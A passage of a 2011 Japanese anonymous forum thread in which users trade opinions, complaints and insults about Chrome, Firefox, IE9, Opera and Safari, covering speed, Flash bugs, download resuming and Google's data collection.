220 :名無しさん@お腹いっぱい。:2011/05/22(日) 14:55:45.86 ID:/IhfVOFE0
chromeのプロセスが終了しねーな

221 :名無しさん@お腹いっぱい。:2011/05/22(日) 15:32:16.18 ID:Mg/TIw8c0
Chrome: 速い。新技術をすぐ使えておもしろい。
Firefox: Chrome、IE9に比べると遅い。仕様に忠実。
IE9: Chromeと同じくらい速い。あんまりわかんね。
Opera: 中途半端にIEと互換を保ってるのがうざい。いろいろ未実装。
Safari: 意外とIEと似たような挙動をするので助かる。

222 :名無しさん@お腹いっぱい。:2011/05/22(日) 15:51:18.57 ID:G1JN6sf60
safariはアドレスを貼りつけて移動しようとするとき
http://以下だけ貼りつけないと開けないとか訳の分からない挙動が気になる

右クリックメニューがかなりシンプルなのはいいと思う
IE、Firefox、Operaとかごちゃごちゃしすぎ

223 :名無しさん@お腹いっぱい。:2011/05/22(日) 16:23:04.63 ID:Bco4jfli0
ChromeのGooglemapのマウス操作で引っかかる不具合っていつ修正されんだよ
すぐにでも修正されると思ったら一向に修正されないな


224 :名無しさん@お腹いっぱい。:2011/05/22(日) 17:33:21.78 ID:EKMs7Yk50
Googlemapで不具合出てもいいのはOperaまでだよねー

225 :名無しさん@お腹いっぱい。:2011/05/22(日) 19:03:18.60 ID:VhrD0hcf0
>>223
あれ、Chromeの問題なのかな?サーバーの問題だと思ってた。
Operaも引っかかるし。でもIEは意外に操作に違和感がないな。

>>221
いつからFirefoxは遅いブラウザの代表になっちゃったんだろう。
FlashとかAdobe readerとかが絡んでなければ遅いわけでも
ないとおもうんだけど、って両方Adobeか・・・。


226 :名無しさん@お腹いっぱい。:2011/05/22(日) 19:36:50.72 ID:iUhdoebX0
>>202
Windows の Chrome と同期とるために、
Linux でも Chrome つかってるなぁ。
Windows だけでなく、他のOS 使っている人にとっては、
Chrome と Firefox しか選択ないね。
てか、つい最近までは Chrome 一択だったけど。

227 :名無しさん@お腹いっぱい。:2011/05/22(日) 19:39:17.41 ID:dSssZ07B0
そんな遅いか、狐
古いバイオとかだったらChromeの方が駄目駄目だよ
あれこそスペックないと駄目だろう
Chromeで速いと感じるのはpdfくらいだな
ユーチューブですら体感ではたいして変わらん

228 :名無しさん@お腹いっぱい。:2011/05/22(日) 19:40:23.51 ID:iUhdoebX0
>>221
まだ Firefox は最遅とは言えないと思うよ。
実際、ベンチマークで測ってみればわかる。
まぁどれもあまり変わらなくなってきた、っていうのが自然かな。

IE9 はまぁアンインストールはしないけど(ActiveXが必要な場面が未だにあるからな)
基本は Chrome一本 ってかんじだなぁ。

229 :名無しさん@お腹いっぱい。:2011/05/22(日) 19:45:31.93 ID:FyEl6fIU0
今、つべの動画を双方同じものを流してみたが、狐とChromeでCPU使用率すら殆ど変わらんよ
回線状況やPCスペックとかの方がずっと大きなファクターだな
使いやすいのを使えばいいという結論にしかならん

230 :名無しさん@お腹いっぱい。:2011/05/22(日) 19:57:12.42 ID:Bco4jfli0
>>225
断定的に言える
間違いなくChromeの問題
Chomreのアップデート直後からだからな

231 :名無しさん@お腹いっぱい。:2011/05/22(日) 20:06:20.14 ID:VhrD0hcf0
>>229
ただ、You tubeを初めとしてFlashを使う状況だと、ChromeもFirefoxも
CPU使用率が100%になってしばらく戻らなくなる現象があるんだよね。
何故か今のバージョンのOperaはそれがない。


232 :名無しさん@お腹いっぱい。:2011/05/22(日) 20:07:27.06 ID:iUhdoebX0
>>230
ていうか、俺は windows 2台 と linux 1台 動かしてるけど、
どれも問題なく GoogleMap で引っかからないぞ。

個人の問題である可能性も考えな。
あと、不具合だと思うのなら、こんなトコロで報告する前に、
公式に報告した方が解決速いよ。


233 :名無しさん@お腹いっぱい。:2011/05/22(日) 20:22:47.35 ID:VhrD0hcf0
>>232
>>230さんじゃないけど、最近Google map遅いと思うよ。ホイールで拡大するときに
変な引っ掛かりと、とんでもないところに飛んでいくとかあると思う。IEだとそれほど
気にならないけど遅いせいじゃないかという気もしてる・・・。


234 :名無しさん@お腹いっぱい。:2011/05/22(日) 20:38:21.46 ID:Bco4jfli0
>>232
まあ、自分のPCとChormeのアップデートによる相性の問題って可能性も考えられるけど
いずれにせよ、Chromeのアップデートが要因なのは間違いない

Chorome10で問題なくGooglemap閲覧できたたのが、アップデート直後に引っかかるように
なったからな、>>233のいうようにズームあたりと関連してる

それと、当然報告はとっくにしてるし、フォーラムでも問題が指摘されている。
つか、知らないのか?フォーラムとかチェックしてみな。英文だけどね(笑)

235 :名無しさん@お腹いっぱい。:2011/05/22(日) 21:27:40.42 ID:asJAu6xg0
>>226
Operaだってクロスプラットフォームで同期できるんだからっ

236 :名無しさん@お腹いっぱい。:2011/05/22(日) 21:53:18.56 ID:fSnrJ4Qr0
むしろOperaが最初だろ

237 :名無しさん@お腹いっぱい。:2011/05/22(日) 22:01:44.70 ID:iUhdoebX0
>>234
日本語で報告できるのに、わざわざ英語で報告したの?
面倒くさいことする人だな。

まぁ俺と周りの人は問題ないので、多分特殊な条件が揃えば
起こる不具合なのは間違いないだろうけどね。

238 :名無しさん@お腹いっぱい。:2011/05/22(日) 22:04:57.72 ID:5t3vt+Y80
>>236
いや、アイディア自体はGoogleがFirefox拡張で出したこれが最初。
Operaはこれを本体機能にパクったんだと思われ。

Google Browser Sync
http://ja.wikipedia.org/wiki/Google_Browser_Sync

239 :名無しさん@お腹いっぱい。:2011/05/22(日) 22:09:05.82 ID:wYmAPm+f0
IE9 はフラッシュの不具合多すぎで、全然使えん。
SBI 証券も表示がおかしいし、バグだらけ。

まだ治すつもりないのか。てか、IE6 の時と同じでまたバグは
仕様として放置だよね。分かります。

IE8 ユーザは、Firefox とかに変えたほうがいいよ。

240 :名無しさん@お腹いっぱい。:2011/05/22(日) 22:13:38.94 ID:Bco4jfli0
>>237
今さっき気付いたが
Googlemapをベータ版にしてるせいかもしれない
それか、win7の64bit環境の可能性もある

報告多いから、修正入るとは思うけどね


241 :名無しさん@お腹いっぱい。:2011/05/22(日) 22:22:38.05 ID:VhrD0hcf0
>>239
FirefoxもFlash周りに関しては似たようなもんだよ。現時点では機能的にも性能的にも
FirefoxはIEに対して利点はないかも。


242 :名無しさん@お腹いっぱい。:2011/05/23(月) 08:14:41.53 ID:EbC73REs0
Firefoxは4になってからメモリの食いっぷりがひどい

243 :名無しさん@お腹いっぱい。:2011/05/23(月) 08:16:02.26 ID:SF6MkCIC0
やっぱりブラウザでJavascriptをバリバリ動かす思想が
間違っているとしか。

244 :名無しさん@お腹いっぱい。:2011/05/23(月) 11:38:19.54 ID:WuUSXP1B0
>>241
FlashまわりはFirefoxのバグでなく、Adobeが原因のような
Operaで再現しないなら初めてFirefoxが悪いと言えるだろうけど

IEに対する利点は結構あるよね
各種専ブラ系の拡張も、専ブラがあれば十分という人もいる反面で
全てがシームレスに操作できるからブラウザに統合したいと考える人もいて

245 :名無しさん@お腹いっぱい。:2011/05/23(月) 14:45:01.40 ID:2X66EFMb0
>>243
やっぱ時代はテキストブラウザだよなッ!

246 :名無しさん@お腹いっぱい。:2011/05/23(月) 14:51:17.02 ID:IvvZm6E1O
>>243
クロムでガンガン動くよ。
ネットサーフィンも速いし、セキュリティーもバッツグーン!

247 :名無しさん@お腹いっぱい。:2011/05/23(月) 14:54:27.10 ID:TkCMHBt2P
>>246
Chromeはセキュリティ、不味いんだよ。
Chromeは脆弱性が多くいざセキュリティーが破られると大穴が開く可能性が高い。
実際、ここ半年で危険度最高と位置されている脆弱性が一番発見されたのは新しいブラウザ側で、
Firefoxなんて、1週間前にも最高ランクの脆弱性を複数改善したバージョンがリリースされたばかり。
他にも穴があると見たほうがいいと思う。



248 :名無しさん@お腹いっぱい。:2011/05/23(月) 15:29:20.88 ID:IvvZm6E1O
>>247
セキュリティー
クロム∞FF=IE

249 :名無しさん@お腹いっぱい。:2011/05/23(月) 17:16:36.85 ID:e2ozHNWX0
>>245
意外と需要あると思うけどねテキストブラウザ

250 :名無しさん@お腹いっぱい。:2011/05/23(月) 18:15:28.17 ID:UWx48v6f0
世の中の流れ
昔 IE持ち上げ
ちょっと前 Firefox持ち上げ
最近 Chrome持ち上げ
予定 Opera持ち上げ

251 :名無しさん@お腹いっぱい。:2011/05/23(月) 18:17:27.00 ID:ked0BpTw0
そしてそのあとにまさかの進化の遂げたSafariを持ち上げるということですね

252 :名無しさん@お腹いっぱい。:2011/05/23(月) 18:59:13.94 ID:dLohjKdL0
Flashで明確なエラー出てるのってIE9だけ?

253 :名無しさん@お腹いっぱい。:2011/05/23(月) 19:26:21.18 ID:uz5DjSqT0
>>251
万が一にもねーわww

254 :名無しさん@お腹いっぱい。:2011/05/23(月) 19:31:48.66 ID:VGXoEkt90
サファリwwww

255 :名無しさん@お腹いっぱい。:2011/05/23(月) 19:39:47.84 ID:UWx48v6f0
>>251
どんどん進化しゆくiPad
みなさんは同じくApple製のsafariというブラウザをご存知だろうか

こんな感じ?

256 :名無しさん@お腹いっぱい。:2011/05/23(月) 19:51:42.81 ID:2X66EFMb0
>>247 バカが居るな
見つかるからいいんだよ
見つからないままだったら被害がもっと拡大してるわ
頭大丈夫?

それにアップデート早いから他のブラウザに比べればセキュリティーホールの対応は早いんだよ

257 :名無しさん@お腹いっぱい。:2011/05/23(月) 19:58:39.56 ID:CAKbBV4k0
たんに報奨金制度のおかげじゃん。Chromeの脆弱性多く見つかるのは。

258 :名無しさん@お腹いっぱい。:2011/05/23(月) 20:16:26.46 ID:5mvvYJev0
>>242
Firefox3.6もひどかったよ。

>>244
Operaの11だと今のところ問題が出てない。

Firefoxは問題を自覚してるようで3.6からFlashなどを別プロセスで
動かしてるようだけど根本的な解決にはなってない。4になってから
少し軽くなったけどやはり時々問題が再発する。

>>252
問題が多いのは64ビット版のIEのみでは。


259 :名無しさん@お腹いっぱい。:2011/05/23(月) 20:34:57.58 ID:e2ozHNWX0
先読み赤ゲージがまともに表示されないクソOpera
毎日巡回する身としてはつらいわ

260 :名無しさん@お腹いっぱい。:2011/05/23(月) 21:53:02.76 ID:5mvvYJev0
>>259
「先読み赤ゲージ」って?


261 :名無しさん@お腹いっぱい。:2011/05/23(月) 23:53:04.73 ID:TJpA63k40
Operaはハゲが作ってるからバグだらけなんだなw

262 :名無しさん@お腹いっぱい。:2011/05/23(月) 23:58:43.66 ID:qN5SmDE30
そーなのかー

263 :名無しさん@お腹いっぱい。:2011/05/24(火) 00:02:17.40 ID:dTfl6TKAP
へーほーふーん

264 :名無しさん@お腹いっぱい。:2011/05/24(火) 00:54:50.85 ID:AJhLY3B00
うるせーハゲ

265 :名無しさん@お腹いっぱい。:2011/05/24(火) 10:01:51.50 ID:K292p3F00
124 :名無しさん@お腹いっぱい。:2011/05/24(火) 01:09:16.64 ID:nEDVOZGW0
YouTubeとかニコニコで動画を読み込んでいる途中に
タブを閉じても、ずっと続けてダウンし続けてる。
これってOperaの問題?FlashPlayer?
そもそも俺だけ?

804 :名無しさん@お腹いっぱい。:2011/05/19(木) 12:09:26.67 ID:O09crbA/0
いま気付いたが今度の11.11ヤバいわ
YouTube等の動画サイトでタブを閉じてもDLし続けるバグがあるっぽい・・・
勘弁してくれよおぺらたん


operaすごいですねw
こんなバグ残したまま正式版としてリリースするなんてw

266 :名無しさん@お腹いっぱい。:2011/05/24(火) 10:41:24.93 ID:2cFJKmEs0
>>265
わだすのOperaはそんなこと起きなかっただす。
Windows 7で使っています。Linuxバージョンの話かしら。

267 :名無しさん@お腹いっぱい。:2011/05/24(火) 18:26:22.86 ID:35gUbtC30
win7x64 opera11.11で265確認
タブ閉じても通信終わらないwww

268 :名無しさん@お腹いっぱい。:2011/05/24(火) 19:09:25.92 ID:GONGONcZ0
WebKit2まだかなー

269 :名無しさん@お腹いっぱい。:2011/05/24(火) 21:21:27.06 ID:Pb/37G3j0
>>265
Opera11とFlashは相性がいいと思う。FirefoxやChromeの方がむしろ
タブやブラウザ自身を閉じた後もダウンロードしたり音が出たりしてる。


270 :名無しさん@お腹いっぱい。:2011/05/24(火) 22:32:10.86 ID:dTfl6TKAP
【結論】Flashはどのブラウザとも相性が悪い

271 :名無しさん@お腹いっぱい。:2011/05/25(水) 00:39:55.73 ID:tW9NtdI0O
webkit2とかでても採用するのはsafariだけでしょ

272 :名無しさん@お腹いっぱい。:2011/05/25(水) 00:43:02.66 ID:rXK5i2520
YoutubeをDivXで見ても画質の違いが感じられない
モニターが安物のせい?

273 :名無しさん@お腹いっぱい。:2011/05/25(水) 02:29:32.44 ID:Wdy5g7QCO
グーグルさんの宣伝攻勢ハンパないな。
Googleトップページ、YouTube、mixi、etc…
まあ実際使ったらやめられない位の素晴らしい製品だから別にいいが。
海外でも同じような感じなんだろ?
こりゃシェアトップも時間の問題かもね

274 :名無しさん@お腹いっぱい。:2011/05/25(水) 02:32:18.40 ID:J1Eltsda0
ttp://www.gekimo.net/XXX/sayu3522.jpg
ttp://www.gekimo.net/DAT/sayu3521.jpg
ttp://www.gekimo.net/DAT/sayu3515.jpg
ttp://www.gekimo.net/XXX/sayu3514.jpg
ttp://www.gekimo.net/XXX/sayu3512.jpg
ttp://www.gekimo.net/DAT/sayu3511.jpg
ttp://www.gekimo.net/XXX/sayu3504.jpg
ttp://www.gekimo.net/DAT/sayu3503.jpg

275 :名無しさん@お腹いっぱい。:2011/05/25(水) 02:47:47.18 ID:uTJwb3xy0
> 実際使ったらやめられない位の素晴らしい製品
そうか?

Ironをとりあえず入れてあるが、サブにしかできんぞw

276 :名無しさん@お腹いっぱい。:2011/05/25(水) 10:31:47.73 ID:VX3an98S0
>>274
リンクすらまともに貼れない低脳


277 :名無しさん@お腹いっぱい。:2011/05/26(木) 15:27:09.93 ID:ttyebhlj0
IE9の対応言語が拡大、主要Webブラウザーで最も多い93カ国語をサポート
http://www.forest.impress.co.jp/docs/news/20110526_448571.html

278 :名無しさん@お腹いっぱい。:2011/05/26(木) 15:38:32.51 ID:TwnQRhzc0
今度のMicrosoftはあらゆる面で本気だな

279 :名無しさん@お腹いっぱい。:2011/05/26(木) 15:55:32.77 ID:8NC5dm1M0
一方Fx5bは多くの言語が用意されているのに日本語版がなかった

280 :名無しさん@お腹いっぱい。:2011/05/26(木) 20:31:38.37 ID:o0fJMuB/0
Chromeはダウンロードにレジューム機能すら無い低脳仕様
もう、アホかと

281 :名無しさん@お腹いっぱい。:2011/05/26(木) 20:34:21.68 ID:UHTIjdyt0
爆速回線仕様なんだろ

282 :名無しさん@お腹いっぱい。:2011/05/26(木) 20:47:16.51 ID:bNPUvzKvP
レジューム機能が「デフォルトで」ついてるブラウザなんて存在するのか?

283 :名無しさん@お腹いっぱい。:2011/05/26(木) 20:52:49.45 ID:k6+G9J4y0
レジューム機能とか、この光の時代に必要ないだろ
数十M程度なら、5分もあれば完了するし、何百Mもあるようのをブラウザからダウンロードすることあるのか

284 :名無しさん@お腹いっぱい。:2011/05/26(木) 21:14:19.49 ID:yZ6GRfcP0
そんなの日本くらいだろ

285 :名無しさん@お腹いっぱい。:2011/05/26(木) 21:16:27.89 ID:UHTIjdyt0
>>282
FxとOperaはあるだろ

286 :名無しさん@お腹いっぱい。:2011/05/26(木) 21:25:35.31 ID:bNPUvzKvP
>>285
それってアドオンとかじゃないの?Operaでできた試しないんだけど・・・

287 :名無しさん@お腹いっぱい。:2011/05/26(木) 21:43:20.88 ID:UHTIjdyt0
>>286
中止で一時停止、再開でレジュームだったはず

288 :名無しさん@お腹いっぱい。:2011/05/26(木) 22:02:51.19 ID:bNPUvzKvP
>>287 
一旦中止ボタン押さないとダメか
ブラウザとじたらアウトなのか・・・

289 :名無しさん@お腹いっぱい。:2011/05/26(木) 22:44:25.34 ID:NLKeMm7l0
>>287
それまともに使えるっていうのか?w
レジューム機能なんていらない人も多いので、
拡張でサポートしてればいいよ。

290 :名無しさん@お腹いっぱい。:2011/05/26(木) 23:05:06.77 ID:o0fJMuB/0
拡張ですら対応してないChromeはアホ

291 :名無しさん@お腹いっぱい。:2011/05/26(木) 23:53:39.11 ID:2/csY7tHP
お前らバカすぎw
IEとReget使えよw

http://www.reget.com/jp/
ブラウザ閉じても一時停止しない。
ソフトを強制的に閉じても
パソコン強制終了しても一時停止するぞ


292 :名無しさん@お腹いっぱい。:2011/05/27(金) 00:00:24.01 ID:5rlZK5gVP
Firefoxでプラグインだなんだと叫んでる奴多いけど

プラグインだとFirefox閉じたら終了するものもあるし、
IE+アプリで対応していた事の焼き直しでしかない。
目新しい事は一切なし。

別にFirefoxである必要はないし、劣化移植も多すぎる。

Googleもネットでやってるサービスに目新しいものは何一つない。
既存のアプリをネットに劣化移植して無料にしただけ。
もし、Googleが革新的だと叫んでる奴がいるとしたらよっぽどの無知かメディアに流されてるだけの奴だろう。
Googleのサービスは、ユーザーのためではなく「広告や個人情報収集のために注目を集めてる」だけでしかない。


293 :名無しさん@お腹いっぱい。:2011/05/27(金) 00:05:44.26 ID:lLjiEKzf0
>>291
なつかしいソフトだなぁ〜w まだ、あったんだ
でも、これではFC2とか無理だな

FC2とか1000MBとかのあるからな

294 :名無しさん@お腹いっぱい。:2011/05/27(金) 00:21:34.44 ID:0kqsSupC0
僕はIrvineです
Iriaの頃から使っています

295 :名無しさん@お腹いっぱい。:2011/05/27(金) 00:40:19.29 ID:tDYjiPs9P
>>292は何年前のコピペですか?

296 :名無しさん@お腹いっぱい。:2011/05/27(金) 00:41:02.56 ID:oEgiIQRy0
最新版がIrvineと連携できるのはFirefoxだけかな。

297 :名無しさん@お腹いっぱい。:2011/05/27(金) 00:53:38.20 ID:q06j4M3e0
懐かしいなあ、俺はFlashGetだった
DCさくらとか使ってる人も居たな

でも今はOperaをダウンローダ代わりにしてるから要らないかな(ブラウズはIE9)
何気にtorrentまでサポートしてたりするという

298 :名無しさん@お腹いっぱい。:2011/05/27(金) 01:50:29.31 ID:qo5ID4mm0
>>292
アプリ、を拡張していけば
その内、IE+Firefoxで出来ていた事の焼き直しでしかないし
とかいうお笑いに到達したりしませんか

299 :名無しさん@お腹いっぱい。:2011/05/27(金) 01:51:21.47 ID:YIxfpfVsP
FreeDownloadManager使ってたわ
Operaのtorrent機能はおまけというかお飾りでしかないから意味が無い

300 :名無しさん@お腹いっぱい。:2011/05/27(金) 03:07:45.16 ID:UfGoHtzT0
>>285
IE9忘れんなカス

301 :名無しさん@お腹いっぱい。:2011/05/27(金) 03:59:57.69 ID:25UmK/Rw0
>>285
Safariは昔から付いてます

302 :名無しさん@お腹いっぱい。:2011/05/27(金) 04:09:16.82 ID:UfGoHtzT0
つまりレジューム機能すらないブラウザはGoogle Chromeだけと
さすが低機能ブラウザ

303 :名無しさん@お腹いっぱい。:2011/05/27(金) 08:02:57.26 ID:ekWZejwR0
ID:o0fJMuB/0 = ID:UfGoHtzT0
こいつの時代錯誤感はアホとしか言いようがない。
IE 使いは嘘を空気のように吐く奴がいるな。

http://freesoft.tvbok.com/tips/net_tips/post_36.html

Firefox,Chrome 等はとっくの昔に
「標準機能で」レジューム機能が搭載されている。
IE が一番実装するの遅かったんだよwww

304 :名無しさん@お腹いっぱい。:2011/05/27(金) 09:38:04.31 ID:N3THyhlq0
>>277
他言語を差別するサファリ・・・
さすがマカー御用達ブラウザw

305 :名無しさん@お腹いっぱい。:2011/05/27(金) 09:40:08.19 ID:79vpxTF/0
IE9が使えないWinXPだとFirefox Chromeに期待するしかない

306 :名無しさん@お腹いっぱい。:2011/05/27(金) 10:15:25.83 ID:HJq3lQ2e0
YouTube、HTML5を使ったNVIDIA 3D Visionサポートを開始
http://pc.watch.impress.co.jp/docs/news/20110527_448688.html

307 :名無しさん@お腹いっぱい。:2011/05/27(金) 10:48:47.61 ID:UfGoHtzT0
>>306
Radeonな漏れには関係ないな、そもそもディスプレイが3D対応してないし

308 :名無しさん@お腹いっぱい。:2011/05/27(金) 10:57:23.27 ID:4HGXumvU0
>>303
そのホムペの作成者とお前が
恐ろしく低脳だということが分かった

309 :名無しさん@お腹いっぱい。:2011/05/27(金) 11:31:52.62 ID:Oj/mCv+BP
やたらIE9押してる奴いるけど
確かに今までよりがんばってはいるとは思うけど
それでもまだ、一度IE以外のブラウザ触った奴が戻ることはほぼない
と言える出来だと思うんだが

310 :名無しさん@お腹いっぱい。:2011/05/27(金) 11:34:32.99 ID:5rlZK5gVP
>>305
安心しろ。
普通のアプリもそろそろXPのサポートをしなくなる。


311 :名無しさん@お腹いっぱい。:2011/05/27(金) 11:37:58.20 ID:5rlZK5gVP
>>309
押してるというより、無駄なものをPCに入れるよりシンプルな使い方がしたいって事かな。
プラグインや余計な機能にこだわるより、もっとやることがあるはずだし。


312 :名無しさん@お腹いっぱい。:2011/05/27(金) 12:02:47.99 ID:wtyVQP2h0
シンプルな使い方とか、もっとやることがるとか、意味が分からんが
無駄じゃなくて必要だから使ってるんだよな、
便利さを追求しないならPCを使う事態どうなの

313 :名無しさん@お腹いっぱい。:2011/05/27(金) 12:35:02.92 ID:Xe0QsgKm0
広告を消せないブラウザはイラネ

314 :名無しさん@お腹いっぱい。:2011/05/27(金) 12:43:27.84 ID:6c2FsIbd0
その「やること」のために別なアプリを入れたり起動させないですむ為のプラグインとか拡張だろう
IE9がそこまでシンプルにこだわるなら、画像が表示できるだけのテキストブラウザにしちゃえばいい
セキュリティ的にも安心だぞw
拡張なんてどうしても増え気味になるが使わないやつはさっさとアンインストだし

315 :名無しさん@お腹いっぱい。:2011/05/27(金) 12:49:20.70 ID:4HGXumvU0
>>311
IE9の場合
シンプル=不便だろ
ストイックな好みを主張されてもねって・・・感じ

316 :名無しさん@お腹いっぱい。:2011/05/27(金) 12:52:19.35 ID:6c2FsIbd0
操作を可能な限りシンプルにするための拡張も多いからな
デフォルトで搭載されてるなら入れないけどさw

317 :名無しさん@お腹いっぱい。:2011/05/27(金) 13:07:57.70 ID:swo8QlcZ0
バカの一つ覚えみたいにIE9って言うのはやめましょうw

318 :名無しさん@お腹いっぱい。:2011/05/27(金) 13:24:28.38 ID:zbyzqa8r0
楽器屋でもいいかななんて思ってきた
GIGS編集長のtwitterが見つからない

319 :名無しさん@お腹いっぱい。:2011/05/27(金) 13:40:01.93 ID:x3kxtQe00
>>313
ハゲ動
SleipとかAnicaとかLuna(IEのみ)とかな。
全部IEコンポじゃねーか

320 :名無しさん@お腹いっぱい。:2011/05/27(金) 14:55:17.57 ID:nkQk/fwP0
IE9は今までIE以外>>>>>>IEだったのが横並びになった程度だな
IE9なんか使ってないで他のブラウザ使え、とは一概に言えなくなった
まぁセキュリティ面で狙われやすい問題はWindowsデフォルトブラウザであるかぎり永遠に残るが

321 :名無しさん@お腹いっぱい。:2011/05/27(金) 15:36:43.05 ID:ekWZejwR0
>>308
ID:o0fJMuB/0 = ID:UfGoHtzT0 と同じ奴か?
Chrome がレジューム出来ない、とかほざいてた
お前の方が低能だろ。


322 :名無しさん@お腹いっぱい。:2011/05/27(金) 15:51:39.47 ID:q06j4M3e0
>>299
おまけ程度でいいんだよ、本格的にtorrentoにのめり込む気は更々なくて
たまに.isoとかの配布サイトがtorrent限定だったりするときにしか使わないんだから

323 :名無しさん@お腹いっぱい。:2011/05/27(金) 16:40:14.53 ID:C5JZifSd0
>>321
だから、できると思ってるお前が低脳なんだって
http://d.hatena.ne.jp/KEINOS/20100909

やろうと思ったら、面倒くせーソフト入れて
コマンド・プロントから実行するしかないんだよ

324 :名無しさん@お腹いっぱい。:2011/05/27(金) 16:40:35.14 ID:4cCmiKBP0
さすがに321は恥ずかしいから
間違いに気付いても
もうその路線で行くしかないよねw

325 :名無しさん@お腹いっぱい。:2011/05/27(金) 16:41:11.70 ID:C5JZifSd0
しかも、ID:o0fJMuB/0 = ID:UfGoHtzT0じゃねーしw
こいつ、どこまで馬鹿なんだよ

326 :名無しさん@お腹いっぱい。:2011/05/27(金) 16:42:34.76 ID:YIxfpfVsP
>>313
>>319に同じく。Tridentを使う理由がないのなら使わないほうが賢明だと思ってる
狙われる率が他と段違いだし

>>322
ですよねー まぁどちらかといえばDCさくらみたいな強力な画像ダウンロード機能がほしいところなんですけど
でも最近リリース日が近すぎていっぺんにダウンするときにOperaを使う気にはなれなかった
Fedoraとかああいう4GBもののOSを試したい時にはまともに使えるuTorrentを引っ張り出してる

327 :名無しさん@お腹いっぱい。:2011/05/27(金) 16:42:50.55 ID:UfGoHtzT0
いつもの基地外だろこいつは。構うなよ

328 : 忍法帖【Lv=30,xxxPT】 :2011/05/27(金) 16:53:04.76 ID:sAO6ZEId0
レジュームはブラウザ側が対応していても、サーバー側が対応してなかったらあまり意味ないんだよな。
ダウンローダーはその辺どう対応してるのか知らないけど、ブラウザのレジューム機能はどれもお呪いみたいなものという印象。

329 :名無しさん@お腹いっぱい。:2011/05/27(金) 16:54:29.01 ID:N3THyhlq0
クロォムを馬鹿にされてファビョるとはwwww

330 :名無しさん@お腹いっぱい。:2011/05/27(金) 17:12:21.82 ID:ekWZejwR0
>>323
だから、出来ないて思ってるお前が低能なんだって。
IE や Firefox で「レジューム可能」っていってんだろ?
それと、全く同様の機能は、とっくの昔に Chrome に実装されている。
(Firefox が一番早く実装し、IE が最も遅く実装している。)

ていうか、実際に Chrome インストールして物言えよw
脳内でしか語れないなんて、情弱にも程があるぞw


331 :名無しさん@お腹いっぱい。:2011/05/27(金) 19:55:51.53 ID:5rlZK5gVP
IEからツールバーを追い出されて個人情報を収集できなくなったGoogleが苦肉の策で開発したのがChrome。

Googleのサービスは、既存のサービスの劣化コピー品であり、目新しいものはゼロ。そして以下の目的のためにさまざまなサービスを展開している。

・注目を集めるために様々なサービスをスタートし、注目が集まらない場合は突然サービスを中止する。
(今後、終了しそうなサービスは、GoogleTV、ChromeOS。いずれも過去の事例通り、トップの担当者が退職している。)
・利用者の情報を収集のためにツールバー、プラグインをインストールさせる。
・企業と契約し、ユーザーの情報を売買する。また、Gmail採用の企業には、様々なツールが提供され利用者の情報が整理され提供される。

>>330
情報ヤクザのGoogleのアプリなんて使えませんよ。

332 :名無しさん@お腹いっぱい。:2011/05/27(金) 20:03:16.10 ID:vNoi3vdU0
ID:C5JZifSd0 と ID:ekWZejwR0 は話噛み合ってないだろ

ID:C5JZifSd0 は キャンセル/レジューム の話してて、
ID:ekWZejwR0 は ポーズ/レジュームの話ししてる

Chrome は ポーズ/レジューム は出来るが、キャンセル/レジューム は出来ない(と思う)
だが、サードパーティー製の使えば キャンセル/レジュームは出来る
(例えば フリーの IDM や wget -c を使用するのが一例)

Google がキャンセル/レジュームを実装しない真の理由は俺にはわからんが、
1.今の時代、ギガクラスのダウンロードなら直ぐ終わる
2.良質なダウンロードマネージャが沢山あり、Chrome に統合するのも容易
という理由で、単に優先度が低いだけじゃね?

333 :名無しさん@お腹いっぱい。:2011/05/27(金) 20:06:25.13 ID:vNoi3vdU0
>>331
MS も Bing で情報収集してる気がする。
気になるなら、Google や Yahoo, Bing のような検索サイトを
使わなければいいんじゃね?

334 :名無しさん@お腹いっぱい。:2011/05/27(金) 20:06:26.21 ID:ljgf3PGe0
chromeは今のところ仕事で使う気にならないな。Firefoxは何とか使えるが
やっぱりweb上のデータベースを使うならIEになってしまう。

chromeはちょっとニュースを見たりするだけなら立ち上がりが速く便利だが
使ってるうちに重くなる。タブを開くごとにメモリーをブラウザ一つ分食うんだな。


335 :名無しさん@お腹いっぱい。:2011/05/27(金) 20:10:20.66 ID:YglHXWEu0
>>331
> ・企業と契約し、ユーザーの情報を売買する。また、Gmail採用の企業には、様々なツールが提供され利用者の情報が整理され提供される。
妄想乙


336 :名無しさん@お腹いっぱい。:2011/05/27(金) 20:13:38.55 ID:sXIPfNJh0
IE9 も Chrome もクソなら、Firefox を使えば幸せになれるぞ。
IE9 は Bing で情報収集、Chrome は Google で情報収集。

Firefox は関係ない。

337 :名無しさん@お腹いっぱい。:2011/05/27(金) 20:17:40.28 ID:Nvb//AAI0
ここはバカが多いスレでつね

338 :名無しさん@お腹いっぱい。:2011/05/27(金) 20:18:39.66 ID:swo8QlcZ0
自己紹介も多いスレだけどな

339 :名無しさん@お腹いっぱい。:2011/05/27(金) 20:23:09.31 ID:Nvb//AAI0
ブラウザごときでくだらない喧嘩しちゃう男の人達って・・・

340 :名無しさん@お腹いっぱい。:2011/05/27(金) 20:23:27.67 ID:HkBafvYV0
24時間AION起動してるからnProと衝突するChromeは論外ですから

341 :名無しさん@お腹いっぱい。:2011/05/27(金) 20:26:25.03 ID:IZeUA58w0
Vista以降ならIE9一択。
不毛な戦いを続けるのはXP厨だけで良い。

342 :名無しさん@お腹いっぱい。:2011/05/27(金) 20:28:22.86 ID:5rlZK5gVP
ハッキング防止ツールにハッキングツールと認識される動作をしてるChromeブラウザって笑


343 :名無しさん@お腹いっぱい。:2011/05/27(金) 20:30:30.89 ID:5rlZK5gVP
>>335
過去にGoogle自身が公開した収集している個人情報リストは、明らかに検索以外の目的で利用するとしか思えない内容ばかりだった。
このリストを見て飛びついた企業も多いはず。
実際、ソフバンやKDDIが急遽Gmailを採用している。


344 :名無しさん@お腹いっぱい。:2011/05/27(金) 20:31:17.89 ID:e1aVfB/J0
>>336
Fxの検索バーにGoogleとBingが入っている
そして検索した回数に応じてGoogleとMicrosoftから金をもらっている
つまり、GoogleやMicrosoftに利用者のデータを売っているのだ
オープン大好きで何でもオープンにしたがっているはずのMozillaが独自のオープンな検索エンジンを作ろうとしないのは、スポンサーからお金をもらえなくなるからだ

345 :名無しさん@お腹いっぱい。:2011/05/27(金) 20:34:46.46 ID:5rlZK5gVP
>>333
末端の社員がその情報を触れるのがGoogleクオリティだろ。
それでこの前、利用者のGmailの内容が流出する事件があったんじゃん。

つまり末端の社員が簡単にいじれるようなツールが存在することを暗示してる。

346 :名無しさん@お腹いっぱい。:2011/05/27(金) 20:38:04.45 ID:5rlZK5gVP
